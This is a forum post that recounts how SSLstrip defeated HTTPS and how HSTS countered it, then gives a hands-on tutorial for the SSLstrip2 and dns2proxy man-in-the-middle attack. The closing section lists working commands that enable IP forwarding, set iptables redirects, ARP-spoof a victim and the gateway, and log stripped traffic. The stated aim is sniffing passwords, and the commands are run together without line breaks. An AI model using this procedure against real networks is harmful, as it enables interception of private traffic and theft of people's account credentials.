Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Once upon a time, not long ago. A world in which information sent over the Internet travelled in plain text. Because of this, any sniffer such as cain, ettercap, etc. could easily intercept your information, obtain your passwords for facebook, hotmail, gmail and spy on you left and right.<br /><br />To mitigate this great security problem they decided to implement a much safer protocol called HTTPS, which encrypts the information with SSL. In a short time many important sites such as banks, service pages, gmail, hotmail, facebook, etc. migrated to this protocol.<br /><br />For a while everything worked perfectly. Nobody could sniff the data of pages encrypted with HTTPS. But that changed in 2009, when at a conference called Black Hat a rather curious tool called SSLSTRIP was presented... What does this tool do?<br /> What it does is replace all HTTPS requests with HTTP and then perform a MITM between the client and server, allowing the attacker to strip the HTTPS protocol and make the data travel in plain text.<br /><br />For years the data of pages could still be sniffed even over HTTPS, which is why later <br /> a new security policy mechanism called HSTS was implemented, which informs the browser that connections must always be made over SSL/TLS. This security measure was implemented on many web pages, but not only that: over time the browsers CHROME and FIREFOX included this policy in their browsers, so the SSLSTRIP tool stopped being effective against these browsers. It only kept working on Internet Explorer.<br /><br />But a few months ago LeonardoNve released a modified version of SSLSTRIP which he called "SSLSTRIP2". This new version allows evading the HSTS security rules and, with the help of another tool called dns2proxy, makes possible what until today was impossible: sniffing connections in browsers such as FIREFOX and CHROME.<br /><br />Below I show you how to carry out this technique, not without first reminding you that this is for Educational purposes.<br /><br />The first thing you will need are the 2 tools mentioned above, sslstrip2 and dns2proxy.<br />You can download both directly from here:<br /><br />sslstrip2 <br /> https://github.com/byt3bl33d3r/sslstrip2 https://github.com/LeonardoNve/dns2proxy python setup.py installecho "1" > /proc/sys/net/ipv4/ip_forwardiptables --flushiptables --flush -t nat iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAYarpspoof -i eth0 -t GATEWAY IP-VICTIMAsslstrip -l 9000 -a -w log.txtpython dns2proxy